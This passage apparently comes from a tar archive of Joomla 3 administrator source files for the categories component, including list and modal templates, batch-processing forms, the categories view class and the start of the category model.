									$iconClass = ' inactive tip-top hasTooltip" title="' . JHtml::_('tooltipText', 'JORDERINGDISABLED');
								}
								?>
								<span class="sortable-handler<?php echo $iconClass ?>">
									<span class="icon-menu"></span>
								</span>
								<?php if ($canChange && $saveOrder) : ?>
									<input type="text" style="display:none" name="order[]" size="5" value="<?php echo $item->lft; ?>" />
								<?php endif; ?>
							</td>
							<td class="center">
								<?php echo JHtml::_('grid.id', $i, $item->id); ?>
							</td>
							<td class="center">
								<div class="btn-group">
									<?php echo JHtml::_('jgrid.published', $item->published, $i, 'categories.', $canChange); ?>
									<?php
									if ($canChange)
									{
										// Create dropdown items
										JHtml::_('actionsdropdown.' . ((int) $item->published === 2 ? 'un' : '') . 'archive', 'cb' . $i, 'categories');
										JHtml::_('actionsdropdown.' . ((int) $item->published === -2 ? 'un' : '') . 'trash', 'cb' . $i, 'categories');

										// Render dropdown list
										echo JHtml::_('actionsdropdown.render', $this->escape($item->title));
									}
									?>
								</div>
							</td>
							<td>
								<?php echo JLayoutHelper::render('joomla.html.treeprefix', array('level' => $item->level)); ?>
								<?php if ($item->checked_out) : ?>
									<?php echo JHtml::_('jgrid.checkedout', $i, $item->editor, $item->checked_out_time, 'categories.', $canCheckin); ?>
								<?php endif; ?>
								<?php if ($canEdit || $canEditOwn) : ?>
									<a class="hasTooltip" href="<?php echo JRoute::_('index.php?option=com_categories&task=category.edit&id=' . $item->id . '&extension=' . $extension); ?>" title="<?php echo JText::_('JACTION_EDIT'); ?>">
										<?php echo $this->escape($item->title); ?></a>
								<?php else : ?>
									<?php echo $this->escape($item->title); ?>
								<?php endif; ?>
								<span class="small" title="<?php echo $this->escape($item->path); ?>">
									<?php if (empty($item->note)) : ?>
										<?php echo JText::sprintf('JGLOBAL_LIST_ALIAS', $this->escape($item->alias)); ?>
									<?php else : ?>
										<?php echo JText::sprintf('JGLOBAL_LIST_ALIAS_NOTE', $this->escape($item->alias), $this->escape($item->note)); ?>
									<?php endif; ?>
								</span>
							</td>
							<?php if (isset($this->items[0]) && property_exists($this->items[0], 'count_published')) : ?>
								<td class="center btns hidden-phone hidden-tablet">
									<a class="badge <?php if ($item->count_published > 0) echo 'badge-success'; ?>" title="<?php echo JText::_('COM_CATEGORY_COUNT_PUBLISHED_ITEMS'); ?>" href="<?php echo JRoute::_('index.php?option=' . $component . ($section ? '&view=' . $section : '') . '&filter[category_id]=' . (int) $item->id . '&filter[published]=1' . '&filter[level]=1'); ?>">
										<?php echo $item->count_published; ?></a>
								</td>
							<?php endif; ?>
							<?php if (isset($this->items[0]) && property_exists($this->items[0], 'count_unpublished')) : ?>
								<td class="center btns hidden-phone hidden-tablet">
									<a class="badge <?php if ($item->count_unpublished > 0) echo 'badge-important'; ?>" title="<?php echo JText::_('COM_CATEGORY_COUNT_UNPUBLISHED_ITEMS'); ?>" href="<?php echo JRoute::_('index.php?option=' . $component . ($section ? '&view=' . $section : '') . '&filter[category_id]=' . (int) $item->id . '&filter[published]=0' . '&filter[level]=1'); ?>">
										<?php echo $item->count_unpublished; ?></a>
								</td>
							<?php endif; ?>
							<?php if (isset($this->items[0]) && property_exists($this->items[0], 'count_archived')) : ?>
								<td class="center btns hidden-phone hidden-tablet">
									<a class="badge <?php if ($item->count_archived > 0) echo 'badge-info'; ?>" title="<?php echo JText::_('COM_CATEGORY_COUNT_ARCHIVED_ITEMS'); ?>" href="<?php echo JRoute::_('index.php?option=' . $component . ($section ? '&view=' . $section : '') . '&filter[category_id]=' . (int) $item->id . '&filter[published]=2' . '&filter[level]=1'); ?>">
										<?php echo $item->count_archived; ?></a>
								</td>
							<?php endif; ?>
							<?php if (isset($this->items[0]) && property_exists($this->items[0], 'count_trashed')) : ?>
								<td class="center btns hidden-phone hidden-tablet">
									<a class="badge <?php if ($item->count_trashed > 0) echo 'badge-inverse'; ?>" title="<?php echo JText::_('COM_CATEGORY_COUNT_TRASHED_ITEMS'); ?>" href="<?php echo JRoute::_('index.php?option=' . $component . ($section ? '&view=' . $section : '') . '&filter[category_id]=' . (int) $item->id . '&filter[published]=-2' . '&filter[level]=1'); ?>">
										<?php echo $item->count_trashed; ?></a>
								</td>
							<?php endif; ?>

							<td class="small hidden-phone">
								<?php echo $this->escape($item->access_level); ?>
							</td>
							<?php if ($this->assoc) : ?>
								<td class="hidden-phone hidden-tablet">
									<?php if ($item->association) : ?>
										<?php echo JHtml::_('CategoriesAdministrator.association', $item->id, $extension); ?>
									<?php endif; ?>
								</td>
							<?php endif; ?>
							<td class="small nowrap hidden-phone">
								<?php echo JLayoutHelper::render('joomla.content.language', $item); ?>
							</td>
							<td class="hidden-phone">
								<span title="<?php echo sprintf('%d-%d', $item->lft, $item->rgt); ?>">
									<?php echo (int) $item->id; ?></span>
							</td>
						</tr>
					<?php endforeach; ?>
				</tbody>
			</table>
			<?php // Load the batch processing form. ?>
			<?php if ($user->authorise('core.create', $extension)
				&& $user->authorise('core.edit', $extension)
				&& $user->authorise('core.edit.state', $extension)) : ?>
				<?php echo JHtml::_(
					'bootstrap.renderModal',
					'collapseModal',
					array(
						'title'  => JText::_('COM_CATEGORIES_BATCH_OPTIONS'),
						'footer' => $this->loadTemplate('batch_footer'),
					),
					$this->loadTemplate('batch_body')
				); ?>
			<?php endif; ?>
		<?php endif; ?>

		<input type="hidden" name="extension" value="<?php echo $extension; ?>" />
		<input type="hidden" name="task" value="" />
		<input type="hidden" name="boxchecked" value="0" />
		<?php echo JHtml::_('form.token'); ?>
	</div>
</form>
com_categories/views/categories/tmpl/modal.php000060400000012643152455305310015577 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_categories
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

$app = JFactory::getApplication();

if ($app->isClient('site'))
{
	JSession::checkToken('get') or die(JText::_('JINVALID_TOKEN'));
}

JLoader::register('ContentHelperRoute', JPATH_ROOT . '/components/com_content/helpers/route.php');

// Include the component HTML helpers.
JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html');

JHtml::_('behavior.core');
JHtml::_('bootstrap.tooltip', '.hasTooltip', array('placement' => 'bottom'));
JHtml::_('bootstrap.popover', '.hasPopover', array('placement' => 'bottom'));
JHtml::_('formbehavior.chosen', 'select');

// Special case for the search field tooltip.
$searchFilterDesc = $this->filterForm->getFieldAttribute('search', 'description', null, 'filter');
JHtml::_('bootstrap.tooltip', '#filter_search', array('title' => JText::_($searchFilterDesc), 'placement' => 'bottom'));

$extension = $this->escape($this->state->get('filter.extension'));
$function  = $app->input->getCmd('function', 'jSelectCategory');
$listOrder = $this->escape($this->state->get('list.ordering'));
$listDirn  = $this->escape($this->state->get('list.direction'));
?>
<div class="container-popup">

	<form action="<?php echo JRoute::_('index.php?option=com_categories&view=categories&layout=modal&tmpl=component&function=' . $function . '&' . JSession::getFormToken() . '=1'); ?>" method="post" name="adminForm" id="adminForm">

		<?php echo JLayoutHelper::render('joomla.searchtools.default', array('view' => $this)); ?>

		<div class="clearfix"></div>

		<?php if (empty($this->items)) : ?>
			<div class="alert alert-no-items">
				<?php echo JText::_('JGLOBAL_NO_MATCHING_RESULTS'); ?>
			</div>
		<?php else : ?>
			<table class="table table-striped" id="categoryList">
				<thead>
					<tr>
						<th width="1%" class="nowrap center">
							<?php echo JHtml::_('searchtools.sort', 'JSTATUS', 'a.published', $listDirn, $listOrder); ?>
						</th>
						<th class="nowrap">
							<?php echo JHtml::_('searchtools.sort', 'JGLOBAL_TITLE', 'a.title', $listDirn, $listOrder); ?>
						</th>
						<th width="10%" class="nowrap hidden-phone">
							<?php echo JHtml::_('searchtools.sort', 'JGRID_HEADING_ACCESS', 'access_level', $listDirn, $listOrder); ?>
						</th>
						<th width="15%" class="nowrap hidden-phone">
							<?php echo JHtml::_('searchtools.sort', 'JGRID_HEADING_LANGUAGE', 'language_title', $listDirn, $listOrder); ?>
						</th>
						<th width="1%" class="nowrap hidden-phone">
							<?php echo JHtml::_('searchtools.sort', 'JGRID_HEADING_ID', 'a.id', $listDirn, $listOrder); ?>
						</th>
					</tr>
				</thead>
				<tfoot>
					<tr>
						<td colspan="5">
							<?php echo $this->pagination->getListFooter(); ?>
						</td>
					</tr>
				</tfoot>
				<tbody>
					<?php
					$iconStates = array(
						-2 => 'icon-trash',
						0  => 'icon-unpublish',
						1  => 'icon-publish',
						2  => 'icon-archive',
					);
					?>
					<?php foreach ($this->items as $i => $item) : ?>
						<?php if ($item->language && JLanguageMultilang::isEnabled())
						{
							$tag = strlen($item->language);
							if ($tag == 5)
							{
								$lang = substr($item->language, 0, 2);
							}
							elseif ($tag == 6)
							{
								$lang = substr($item->language, 0, 3);
							}
							else
							{
								$lang = '';
							}
						}
						elseif (!JLanguageMultilang::isEnabled())
						{
							$lang = '';
						}
						?>
						<tr class="row<?php echo $i % 2; ?>">
							<td class="center">
								<span class="<?php echo $iconStates[$this->escape($item->published)]; ?>" aria-hidden="true"></span>
							</td>
							<td>
								<?php echo JLayoutHelper::render('joomla.html.treeprefix', array('level' => $item->level)); ?>
								<a href="javascript:void(0)" onclick="if (window.parent) window.parent.<?php echo $this->escape($function); ?>('<?php echo $item->id; ?>', '<?php echo $this->escape(addslashes($item->title)); ?>', null, '<?php echo $this->escape(ContentHelperRoute::getCategoryRoute($item->id, $item->language)); ?>', '<?php echo $this->escape($lang); ?>', null);">
									<?php echo $this->escape($item->title); ?></a>
								<span class="small" title="<?php echo $this->escape($item->path); ?>">
									<?php if (empty($item->note)) : ?>
										<?php echo JText::sprintf('JGLOBAL_LIST_ALIAS', $this->escape($item->alias)); ?>
									<?php else : ?>
										<?php echo JText::sprintf('JGLOBAL_LIST_ALIAS_NOTE', $this->escape($item->alias), $this->escape($item->note)); ?>
									<?php endif; ?>
								</span>
							</td>
							<td class="small hidden-phone">
								<?php echo $this->escape($item->access_level); ?>
							</td>
							<td class="small hidden-phone">
								<?php echo JLayoutHelper::render('joomla.content.language', $item); ?>
							</td>
							<td class="hidden-phone">
								<?php echo (int) $item->id; ?>
							</td>
						</tr>
					<?php endforeach; ?>
				</tbody>
			</table>
		<?php endif; ?>

		<input type="hidden" name="extension" value="<?php echo $extension; ?>" />
		<input type="hidden" name="task" value="" />
		<input type="hidden" name="boxchecked" value="0" />
		<input type="hidden" name="forcedLanguage" value="<?php echo $app->input->get('forcedLanguage', '', 'CMD'); ?>" />
		<?php echo JHtml::_('form.token'); ?>

	</form>
</div>
com_categories/views/categories/tmpl/default_batch_footer.php000060400000001304152455305310020636 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_categories
 *
 * @copyright   (C) 2015 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
defined('_JEXEC') or die;

?>
<button type="button" class="btn" onclick="document.getElementById('batch-category-id').value='';document.getElementById('batch-access').value='';document.getElementById('batch-language-id').value=''" data-dismiss="modal">
	<?php echo JText::_('JCANCEL'); ?>
</button>
<button type="submit" class="btn btn-success" onclick="Joomla.submitbutton('category.batch');return false;">
	<?php echo JText::_('JGLOBAL_BATCH_PROCESS'); ?>
</button>
com_categories/views/categories/tmpl/default_batch_body.php000060400000004561152455305310020305 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_categories
 *
 * @copyright   (C) 2015 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
defined('_JEXEC') or die;

$options = array(
	JHtml::_('select.option', 'c', JText::_('JLIB_HTML_BATCH_COPY')),
	JHtml::_('select.option', 'm', JText::_('JLIB_HTML_BATCH_MOVE'))
);
$published = (int) $this->state->get('filter.published');
$extension = $this->escape($this->state->get('filter.extension'));
?>

<div class="container-fluid">
	<div class="row-fluid">
		<div class="control-group span6">
			<div class="controls">
				<?php echo JHtml::_('batch.language'); ?>
			</div>
		</div>
		<div class="control-group span6">
			<div class="controls">
				<?php echo JHtml::_('batch.access'); ?>
			</div>
		</div>
	</div>
	<div class="row-fluid">
		<?php if ($published >= 0) : ?>
			<div class="span6">
				<div class="control-group">
					<label id="batch-choose-action-lbl" for="batch-category-id" class="control-label">
						<?php echo JText::_('JLIB_HTML_BATCH_MENU_LABEL'); ?>
					</label>
					<div id="batch-choose-action" class="combo controls">
						<select name="batch[category_id]" id="batch-category-id">
							<option value=""><?php echo JText::_('JLIB_HTML_BATCH_NO_CATEGORY') ?></option>
							<?php echo JHtml::_('select.options', JHtml::_('category.categories', $extension, array('filter.published' => $this->state->get('filter.published')))); ?>
						</select>
					</div>
				</div>
				<div id="batch-copy-move" class="control-group radio">
					<?php echo JText::_('JLIB_HTML_BATCH_MOVE_QUESTION'); ?>
					<?php echo JHtml::_('select.radiolist', $options, 'batch[move_copy]', '', 'value', 'text', 'm'); ?>
				</div>
			</div>
		<?php endif; ?>
		<div class="control-group span6">
			<div class="controls">
				<?php echo JHtml::_('batch.tag'); ?>
			</div>
		</div>
	</div>
	<?php if ($extension === 'com_content') : ?>
		<div class="row-fluid">
			<div class="span6">
				<div class="control-group">
					<label id="flip-ordering-id-lbl" for="flip-ordering-id" class="control-label">
						<?php echo JText::_('JLIB_HTML_BATCH_FLIPORDERING_LABEL'); ?>
					</label>
					<?php echo JHtml::_('select.booleanlist', 'batch[flip_ordering]', array(), 0, 'JYES', 'JNO', 'flip-ordering-id'); ?>
				</div>
			</div>
		</div>
	<?php endif; ?>
</div>

com_categories/views/categories/view.html.php000060400000020311152455305310015433 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_categories
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Categories view class for the Category package.
 *
 * @since  1.6
 */
class CategoriesViewCategories extends JViewLegacy
{
	/**
	 * An array of items
	 *
	 * @var  array
	 */
	protected $items;

	/**
	 * The pagination object
	 *
	 * @var  JPagination
	 */
	protected $pagination;

	/**
	 * The model state
	 *
	 * @var  object
	 */
	protected $state;

	/**
	 * Flag if an association exists
	 *
	 * @var  boolean
	 */
	protected $assoc;

	/**
	 * Form object for search filters
	 *
	 * @var  JForm
	 */
	public $filterForm;

	/**
	 * The active search filters
	 *
	 * @var  array
	 */
	public $activeFilters;

	/**
	 * The sidebar markup
	 *
	 * @var  string
	 */
	protected $string;

	/**
	 * Display the view
	 *
	 * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
	 *
	 * @return  mixed  A string if successful, otherwise an Error object.
	 */
	public function display($tpl = null)
	{
		$this->state         = $this->get('State');
		$this->items         = $this->get('Items');
		$this->pagination    = $this->get('Pagination');
		$this->assoc         = $this->get('Assoc');
		$this->filterForm    = $this->get('FilterForm');
		$this->activeFilters = $this->get('ActiveFilters');

		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			throw new Exception(implode("\n", $errors), 500);
		}

		// Preprocess the list of items to find ordering divisions.
		foreach ($this->items as &$item)
		{
			$this->ordering[$item->parent_id][] = $item->id;
		}

		// Levels filter - Used in Hathor.
		$this->f_levels = array(
			JHtml::_('select.option', '1', JText::_('J1')),
			JHtml::_('select.option', '2', JText::_('J2')),
			JHtml::_('select.option', '3', JText::_('J3')),
			JHtml::_('select.option', '4', JText::_('J4')),
			JHtml::_('select.option', '5', JText::_('J5')),
			JHtml::_('select.option', '6', JText::_('J6')),
			JHtml::_('select.option', '7', JText::_('J7')),
			JHtml::_('select.option', '8', JText::_('J8')),
			JHtml::_('select.option', '9', JText::_('J9')),
			JHtml::_('select.option', '10', JText::_('J10')),
		);

		// We don't need toolbar in the modal window.
		if ($this->getLayout() !== 'modal')
		{
			$this->addToolbar();
			$this->sidebar = JHtmlSidebar::render();
		}
		else
		{
			// In article associations modal we need to remove language filter if forcing a language.
			if ($forcedLanguage = JFactory::getApplication()->input->get('forcedLanguage', '', 'CMD'))
			{
				// If the language is forced we can't allow to select the language, so transform the language selector filter into a hidden field.
				$languageXml = new SimpleXMLElement('<field name="language" type="hidden" default="' . $forcedLanguage . '" />');
				$this->filterForm->setField($languageXml, 'filter', true);

				// Also, unset the active language filter so the search tools is not open by default with this filter.
				unset($this->activeFilters['language']);
			}
		}

		return parent::display($tpl);
	}

	/**
	 * Add the page title and toolbar.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function addToolbar()
	{
		$categoryId = $this->state->get('filter.category_id');
		$component  = $this->state->get('filter.component');
		$section    = $this->state->get('filter.section');
		$canDo      = JHelperContent::getActions($component, 'category', $categoryId);
		$user       = JFactory::getUser();

		// Get the toolbar object instance
		$bar = JToolbar::getInstance('toolbar');

		// Avoid nonsense situation.
		if ($component == 'com_categories')
		{
			return;
		}

		// Need to load the menu language file as mod_menu hasn't been loaded yet.
		$lang = JFactory::getLanguage();
		$lang->load($component, JPATH_BASE, null, false, true)
		|| $lang->load($component, JPATH_ADMINISTRATOR . '/components/' . $component, null, false, true);

		// Load the category helper.
		JLoader::register('CategoriesHelper', JPATH_ADMINISTRATOR . '/components/com_categories/helpers/categories.php');

		// If a component categories title string is present, let's use it.
		if ($lang->hasKey($component_title_key = strtoupper($component . ($section ? "_$section" : '')) . '_CATEGORIES_TITLE'))
		{
			$title = JText::_($component_title_key);
		}
		elseif ($lang->hasKey($component_section_key = strtoupper($component . ($section ? "_$section" : ''))))
		// Else if the component section string exits, let's use it
		{
			$title = JText::sprintf('COM_CATEGORIES_CATEGORIES_TITLE', $this->escape(JText::_($component_section_key)));
		}
		else
		// Else use the base title
		{
			$title = JText::_('COM_CATEGORIES_CATEGORIES_BASE_TITLE');
		}

		// Load specific css component
		JHtml::_('stylesheet', $component . '/administrator/categories.css', array('version' => 'auto', 'relative' => true));

		// Prepare the toolbar.
		JToolbarHelper::title($title, 'folder categories ' . substr($component, 4) . ($section ? "-$section" : '') . '-categories');

		if ($canDo->get('core.create') || count($user->getAuthorisedCategories($component, 'core.create')) > 0)
		{
			JToolbarHelper::addNew('category.add');
		}

		if ($canDo->get('core.edit') || $canDo->get('core.edit.own'))
		{
			JToolbarHelper::editList('category.edit');
		}

		if ($canDo->get('core.edit.state'))
		{
			JToolbarHelper::publish('categories.publish', 'JTOOLBAR_PUBLISH', true);
			JToolbarHelper::unpublish('categories.unpublish', 'JTOOLBAR_UNPUBLISH', true);
			JToolbarHelper::archiveList('categories.archive');
		}

		if (JFactory::getUser()->authorise('core.admin'))
		{
			JToolbarHelper::checkin('categories.checkin');
		}

		// Add a batch button
		if ($canDo->get('core.create')
			&& $canDo->get('core.edit')
			&& $canDo->get('core.edit.state'))
		{
			$title = JText::_('JTOOLBAR_BATCH');

			// Instantiate a new JLayoutFile instance and render the batch button
			$layout = new JLayoutFile('joomla.toolbar.batch');

			$dhtml = $layout->render(array('title' => $title));
			$bar->appendButton('Custom', $dhtml, 'batch');
		}

		if ($canDo->get('core.admin'))
		{
			JToolbarHelper::custom('categories.rebuild', 'refresh.png', 'refresh_f2.png', 'JTOOLBAR_REBUILD', false);
		}

		if ($canDo->get('core.admin') || $canDo->get('core.options'))
		{
			JToolbarHelper::preferences($component);
		}

		if ($this->state->get('filter.published') == -2 && $canDo->get('core.delete', $component))
		{
			JToolbarHelper::deleteList('JGLOBAL_CONFIRM_DELETE', 'categories.delete', 'JTOOLBAR_EMPTY_TRASH');
		}
		elseif ($canDo->get('core.edit.state'))
		{
			JToolbarHelper::trash('categories.trash');
		}

		// Compute the ref_key if it does exist in the component
		if (!$lang->hasKey($ref_key = strtoupper($component . ($section ? "_$section" : '')) . '_CATEGORIES_HELP_KEY'))
		{
			$ref_key = 'JHELP_COMPONENTS_' . strtoupper(substr($component, 4) . ($section ? "_$section" : '')) . '_CATEGORIES';
		}

		/*
		 * Get help for the categories view for the component by
		 * -remotely searching in a language defined dedicated URL: *component*_HELP_URL
		 * -locally  searching in a component help file if helpURL param exists in the component and is set to ''
		 * -remotely searching in a component URL if helpURL param exists in the component and is NOT set to ''
		 */
		if ($lang->hasKey($lang_help_url = strtoupper($component) . '_HELP_URL'))
		{
			$debug = $lang->setDebug(false);
			$url = JText::_($lang_help_url);
			$lang->setDebug($debug);
		}
		else
		{
			$url = null;
		}

		JToolbarHelper::help($ref_key, JComponentHelper::getParams($component)->exists('helpURL'), $url);
	}

	/**
	 * Returns an array of fields the table can be sorted by
	 *
	 * @return  array  Array containing the field name to sort by as the key and display text as value
	 *
	 * @since   3.0
	 */
	protected function getSortFields()
	{
		return array(
			'a.lft'       => JText::_('JGRID_HEADING_ORDERING'),
			'a.published' => JText::_('JSTATUS'),
			'a.title'     => JText::_('JGLOBAL_TITLE'),
			'a.access'    => JText::_('JGRID_HEADING_ACCESS'),
			'language'    => JText::_('JGRID_HEADING_LANGUAGE'),
			'a.id'        => JText::_('JGRID_HEADING_ID'),
		);
	}
}
com_categories/models/category.php000060400000104040152455305310013336 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_categories
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\Registry\Registry;
use Joomla\String\StringHelper;
use Joomla\Utilities\ArrayHelper;

/**
 * Categories Component Category Model
 *
 * @since  1.6
 */
class CategoriesModelCategory extends JModelAdmin
{
	/**
	 * The prefix to use with controller messages.
	 *
	 * @var    string
	 * @since  1.6
	 */
	protected $text_prefix = 'COM_CATEGORIES';

	/**
	 * The type alias for this content type. Used for content version history.
	 *
	 * @var      string
	 * @since    3.2
	 */
	public $typeAlias = null;

	/**
	 * The context used for the associations table
	 *
	 * @var      string
	 * @since    3.4.4
	 */
	protected $associationsContext = 'com_categories.item';

	/**
	 * Does an association exist? Caches the result of getAssoc().
	 *
	 * @var   boolean|null
	 * @since 3.10.4
	 */
	private $hasAssociation;

	/**
	 * Override parent constructor.
	 *
	 * @param   array  $config  An optional associative array of configuration settings.
	 *
	 * @see     JModelLegacy
	 * @since   3.2
	 */
	public function __construct($config = array())
	{
		parent::__construct($config);
		$extension = JFactory::getApplication()->input->get('extension', 'com_content');
		$this->typeAlias = $extension . '.category';

		// Add a new batch command
		$this->batch_commands['flip_ordering'] = 'batchFlipordering';
	}

	/**
	 * Method to test whether a record can be deleted.
	 *
	 * @param   object  $record  A record object.
	 *
	 * @return  boolean  True if allowed to delete the record. Defaults to the permission set in the component.
	 *
	 * @since   1.6
	 */
	protected function canDelete($record)
	{
		if (empty($record->id) || $record->published != -2)
		{
			return false;
		}

		return JFactory::getUser()->authorise('core.delete', $record->extension . '.category.' . (int) $record->id);
	}

	/**
	 * Method to test whether a record can have its state changed.
	 *
	 * @param   object  $record  A record object.
	 *
	 * @return  boolean  True if allowed to change the state of the record. Defaults to the permission set in the component.
	 *
	 * @since   1.6
	 */
	protected function canEditState($record)
	{
		$user = JFactory::getUser();

		// Check for existing category.
		if (!empty($record->id))
		{
			return $user->authorise('core.edit.state', $record->extension . '.category.' . (int) $record->id);
		}

		// New category, so check against the parent.
		if (!empty($record->parent_id))
		{
			return $user->authorise('core.edit.state', $record->extension . '.category.' . (int) $record->parent_id);
		}

		// Default to component settings if neither category nor parent known.
		return $user->authorise('core.edit.state', $record->extension);
	}

	/**
	 * Method to get a table object, load it if necessary.
	 *
	 * @param   string  $type    The table name. Optional.
	 * @param   string  $prefix  The class prefix. Optional.
	 * @param   array   $config  Configuration array for model. Optional.
	 *
	 * @return  JTable  A JTable object
	 *
	 * @since   1.6
	 */
	public function getTable($type = 'Category', $prefix = 'CategoriesTable', $config = array())
	{
		return JTable::getInstance($type, $prefix, $config);
	}

	/**
	 * Auto-populate the model state.
	 *
	 * Note. Calling getState in this method will result in recursion.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function populateState()
	{
		$app = JFactory::getApplication('administrator');

		$parentId = $app->input->getInt('parent_id');
		$this->setState('category.parent_id', $parentId);

		// Load the User state.
		$pk = $app->input->getInt('id');
		$this->setState($this->getName() . '.id', $pk);

		$extension = $app->input->get('extension', 'com_content');
		$this->setState('category.extension', $extension);
		$parts = explode('.', $extension);

		// Extract the component name
		$this->setState('category.component', $parts[0]);

		// Extract the optional section name
		$this->setState('category.section', (count($parts) > 1) ? $parts[1] : null);

		// Load the parameters.
		$params = JComponentHelper::getParams('com_categories');
		$this->setState('params', $params);
	}

	/**
	 * Method to get a category.
	 *
	 * @param   integer  $pk  An optional id of the object to get, otherwise the id from the model state is used.
	 *
	 * @return  mixed    Category data object on success, false on failure.
	 *
	 * @since   1.6
	 */
	public function getItem($pk = null)
	{
		if ($result = parent::getItem($pk))
		{
			// Prime required properties.
			if (empty($result->id))
			{
				$result->parent_id = $this->getState('category.parent_id');
				$result->extension = $this->getState('category.extension');
			}

			// Convert the metadata field to an array.
			$registry = new Registry($result->metadata);
			$result->metadata = $registry->toArray();

			if (!empty($result->id))
			{
				$result->tags = new JHelperTags;
				$result->tags->getTagIds($result->id, $result->extension . '.category');
			}
		}

		$assoc = $this->getAssoc();

		if ($assoc)
		{
			if ($result->id != null)
			{
				$result->associations = ArrayHelper::toInteger(CategoriesHelper::getAssociations($result->id, $result->extension));
			}
			else
			{
				$result->associations = array();
			}
		}

		return $result;
	}

	/**
	 * Method to get the row form.
	 *
	 * @param   array    $data      Data for the form.
	 * @param   boolean  $loadData  True if the form is to load its own data (default case), false if not.
	 *
	 * @return  JForm|boolean  A JForm object on success, false on failure
	 *
	 * @since   1.6
	 */
	public function getForm($data = array(), $loadData = true)
	{
		$extension = $this->getState('category.extension');
		$jinput = JFactory::getApplication()->input;

		// A workaround to get the extension into the model for save requests.
		if (empty($extension) && isset($data['extension']))
		{
			$extension = $data['extension'];
			$parts = explode('.', $extension);

			$this->setState('category.extension', $extension);
			$this->setState('category.component', $parts[0]);
			$this->setState('category.section', @$parts[1]);
		}

		// Get the form.
		$form = $this->loadForm('com_categories.category' . $extension, 'category', array('control' => 'jform', 'load_data' => $loadData));

		if (empty($form))
		{
			return false;
		}

		// Modify the form based on Edit State access controls.
		if (empty($data['extension']))
		{
			$data['extension'] = $extension;
		}

		$categoryId = $jinput->get('id');
		$parts      = explode('.', $extension);
		$assetKey   = $categoryId ? $extension . '.category.' . $categoryId : $parts[0];

		if (!JFactory::getUser()->authorise('core.edit.state', $assetKey))
		{
			// Disable fields for display.
			$form->setFieldAttribute('ordering', 'disabled', 'true');
			$form->setFieldAttribute('published', 'disabled', 'true');

			// Disable fields while saving.
			// The controller has already verified this is a record you can edit.
			$form->setFieldAttribute('ordering', 'filter', 'unset');
			$form->setFieldAttribute('published', 'filter', 'unset');
		}

		return $form;
	}

	/**
	 * A protected method to get the where clause for the reorder
	 * This ensures that the row will be moved relative to a row with the same extension
	 *
	 * @param   JTableCategory  $table  Current table instance
	 *
	 * @return  array           An array of conditions to add to add to ordering queries.
	 *
	 * @since   1.6
	 */
	protected function getReorderConditions($table)
	{
		return 'extension = ' . $this->_db->quote($table->extension);
	}

	/**
	 * Method to get the data that should be injected in the form.
	 *
	 * @return  mixed  The data for the form.
	 *
	 * @since   1.6
	 */
	protected function loadFormData()
	{
		// Check the session for previously entered form data.
		$app = JFactory::getApplication();
		$data = $app->getUserState('com_categories.edit.' . $this->getName() . '.data', array());

		if (empty($data))
		{
			$data = $this->getItem();

			// Pre-select some filters (Status, Language, Access) in edit form if those have been selected in Category Manager
			if (!$data->id)
			{
				// Check for which extension the Category Manager is used and get selected fields
				$extension = substr($app->getUserState('com_categories.categories.filter.extension'), 4);
				$filters = (array) $app->getUserState('com_categories.categories.' . $extension . '.filter');

				$data->set(
					'published',
					$app->input->getInt(
						'published',
						((isset($filters['published']) && $filters['published'] !== '') ? $filters['published'] : null)
					)
				);
				$data->set('language', $app->input->getString('language', (!empty($filters['language']) ? $filters['language'] : null)));
				$data->set(
					'access',
					$app->input->getInt('access', (!empty($filters['access']) ? $filters['access'] : JFactory::getConfig()->get('access')))
				);
			}
		}

		$this->preprocessData('com_categories.category', $data);

		return $data;
	}

	/**
	 * Method to validate the form data.
	 *
	 * @param   JForm   $form   The form to validate against.
	 * @param   array   $data   The data to validate.
	 * @param   string  $group  The name of the field group to validate.
	 *
	 * @return  array|boolean  Array of filtered data if valid, false otherwise.
	 *
	 * @see     JFormRule
	 * @see     JFilterInput
	 * @since   3.9.23
	 */
	public function validate($form, $data, $group = null)
	{
		// Don't allow to change the users if not allowed to access com_users.
		if (!JFactory::getUser()->authorise('core.manage', 'com_users'))
		{
			if (isset($data['created_user_id']))
			{
				unset($data['created_user_id']);
			}
		}

		if (!JFactory::getUser()->authorise('core.admin', $data['extension']))
		{
			if (isset($data['rules']))
			{
				unset($data['rules']);
			}
		}

		return parent::validate($form, $data, $group);
	}

	/**
	 * Method to preprocess the form.
	 *
	 * @param   JForm   $form   A JForm object.
	 * @param   mixed   $data   The data expected for the form.
	 * @param   string  $group  The name of the plugin group to import.
	 *
	 * @return  mixed
	 *
	 * @see     JFormField
	 * @since   1.6
	 * @throws  Exception if there is an error in the form event.
	 */
	protected function preprocessForm(JForm $form, $data, $group = 'content')
	{
		jimport('joomla.filesystem.path');

		$lang = JFactory::getLanguage();
		$component = $this->getState('category.component');
		$section = $this->getState('category.section');
		$extension = JFactory::getApplication()->input->get('extension', null);

		// Get the component form if it exists
		$name = 'category' . ($section ? ('.' . $section) : '');

		// Looking first in the component models/forms folder
		$path = JPath::clean(JPATH_ADMINISTRATOR . "/components/$component/models/forms/$name.xml");

		// Old way: looking in the component folder
		if (!file_exists($path))
		{
			$path = JPath::clean(JPATH_ADMINISTRATOR . "/components/$component/$name.xml");
		}

